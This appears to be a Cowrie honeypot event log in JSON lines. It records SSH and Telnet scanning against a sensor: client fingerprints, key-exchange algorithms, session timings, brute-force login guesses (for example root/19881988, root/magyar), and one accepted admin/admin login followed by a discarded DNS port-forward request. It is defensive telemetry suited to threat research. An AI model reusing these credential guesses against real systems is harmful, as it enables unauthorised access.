{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:24:21.090701Z","src_ip":"193.32.162.145","session":"afd46e770477","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:24:21.180280Z","src_ip":"193.32.162.145","session":"afd46e770477","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"testnet","message":"login attempt [sol/testnet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:24:21.597636Z","src_ip":"193.32.162.145","session":"afd46e770477","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:24:22.702940Z","src_ip":"193.32.162.145","session":"afd46e770477","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58088,"dst_ip":"10.17.0.5","dst_port":23,"session":"77e6dbff2f06","protocol":"telnet","message":"New connection: 152.42.224.71:58088 (10.17.0.5:23) [session: 77e6dbff2f06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:24:33.586410Z"}
{"eventid":"cowrie.session.closed","duration":59.60128307342529,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:24:33.894627Z","src_ip":"152.42.224.71","session":"1ca2a2dd981f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":60472,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2d52370dd58","protocol":"ssh","message":"New connection: 51.250.105.222:60472 (159.203.135.109:22) [session: b2d52370dd58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:24:35.076050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:24:35.080839Z","src_ip":"51.250.105.222","session":"b2d52370dd58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:24:35.207575Z","src_ip":"51.250.105.222","session":"b2d52370dd58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19881988","message":"login attempt [root/19881988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:24:35.591124Z","src_ip":"51.250.105.222","session":"b2d52370dd58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:24:36.720915Z","src_ip":"51.250.105.222","session":"b2d52370dd58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.793047189712524,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:24:39.348024Z","src_ip":"152.42.224.71","session":"10a5a53e0ce4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33978,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e0be6fbb502","protocol":"telnet","message":"New connection: 152.42.224.71:33978 (10.17.0.5:23) [session: 8e0be6fbb502]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:24:44.942680Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48788,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f2aea2e1706","protocol":"telnet","message":"New connection: 152.42.224.71:48788 (10.17.0.5:23) [session: 4f2aea2e1706]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:24:50.242782Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48804,"dst_ip":"10.17.0.5","dst_port":23,"session":"18330165e35d","protocol":"telnet","message":"New connection: 152.42.224.71:48804 (10.17.0.5:23) [session: 18330165e35d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:24:52.177147Z"}
{"eventid":"cowrie.session.closed","duration":120.00322723388672,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:24:54.493625Z","src_ip":"152.42.224.71","session":"bf128b64f444","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"197.248.104.31","src_port":55786,"dst_ip":"10.17.0.5","dst_port":22,"session":"17dc121819e1","protocol":"ssh","message":"New connection: 197.248.104.31:55786 (10.17.0.5:22) [session: 17dc121819e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:25:00.087402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:25:00.092868Z","src_ip":"197.248.104.31","session":"17dc121819e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:25:00.302824Z","src_ip":"197.248.104.31","session":"17dc121819e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"59.16.212.232","src_port":53052,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2f52a277fb6","protocol":"ssh","message":"New connection: 59.16.212.232:53052 (159.203.135.109:22) [session: a2f52a277fb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:25:00.610865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:25:00.615800Z","src_ip":"59.16.212.232","session":"a2f52a277fb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:25:00.815049Z","src_ip":"59.16.212.232","session":"a2f52a277fb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"magyar","message":"login attempt [root/magyar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:25:01.170807Z","src_ip":"197.248.104.31","session":"17dc121819e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":17912,"dst_ip":"10.17.0.5","dst_port":22,"session":"800065f5a928","protocol":"ssh","message":"New connection: 87.251.64.176:17912 (10.17.0.5:22) [session: 800065f5a928]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:25:01.293596Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:25:01.298692Z","src_ip":"87.251.64.176","session":"800065f5a928","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:25:01.400766Z","src_ip":"87.251.64.176","session":"800065f5a928","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"now.cn123","message":"login attempt [root/now.cn123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:25:01.646369Z","src_ip":"59.16.212.232","session":"a2f52a277fb6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:25:01.700859Z","src_ip":"87.251.64.176","session":"800065f5a928","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:25:01.805639Z","session":"800065f5a928","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:25:01.913579Z","src_ip":"87.251.64.176","session":"800065f5a928","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:25:02.013758Z","src_ip":"87.251.64.176","session":"800065f5a928","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:25:02.383044Z","src_ip":"197.248.104.31","session":"17dc121819e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:25:02.850565Z","src_ip":"59.16.212.232","session":"a2f52a277fb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":21.593395233154297,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:25:06.535930Z","src_ip":"152.42.224.71","session":"8e0be6fbb502","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.06632971763611,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:25:18.652626Z","src_ip":"152.42.224.71","session":"77e6dbff2f06","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.387929916381836,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:25:29.564933Z","src_ip":"152.42.224.71","session":"18330165e35d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.666548013687134,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:25:31.909237Z","src_ip":"152.42.224.71","session":"4f2aea2e1706","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46268,"dst_ip":"10.17.0.5","dst_port":23,"session":"878378e6472f","protocol":"telnet","message":"New connection: 152.42.224.71:46268 (10.17.0.5:23) [session: 878378e6472f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:25:34.516048Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56706,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5ab1c6ea0e9","protocol":"telnet","message":"New connection: 152.42.224.71:56706 (10.17.0.5:23) [session: a5ab1c6ea0e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:25:40.546813Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37674,"dst_ip":"10.17.0.5","dst_port":23,"session":"37185cb28ae4","protocol":"telnet","message":"New connection: 152.42.224.71:37674 (10.17.0.5:23) [session: 37185cb28ae4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:25:48.283605Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":47172,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4fde7e4c54b","protocol":"ssh","message":"New connection: 103.82.132.16:47172 (159.203.135.109:22) [session: b4fde7e4c54b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:25:55.445573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:25:55.453164Z","src_ip":"103.82.132.16","session":"b4fde7e4c54b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:25:55.711546Z","src_ip":"103.82.132.16","session":"b4fde7e4c54b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49870,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ddb7ffc7586","protocol":"telnet","message":"New connection: 152.42.224.71:49870 (10.17.0.5:23) [session: 9ddb7ffc7586]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:25:55.920401Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"rhfcjnf","message":"login attempt [root/rhfcjnf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:25:56.481333Z","src_ip":"103.82.132.16","session":"b4fde7e4c54b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:25:57.776273Z","src_ip":"103.82.132.16","session":"b4fde7e4c54b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":33594,"dst_ip":"159.203.135.109","dst_port":22,"session":"d7a0a9a2bacf","protocol":"ssh","message":"New connection: 62.133.62.83:33594 (159.203.135.109:22) [session: d7a0a9a2bacf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:25:58.442711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:25:58.447905Z","src_ip":"62.133.62.83","session":"d7a0a9a2bacf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ct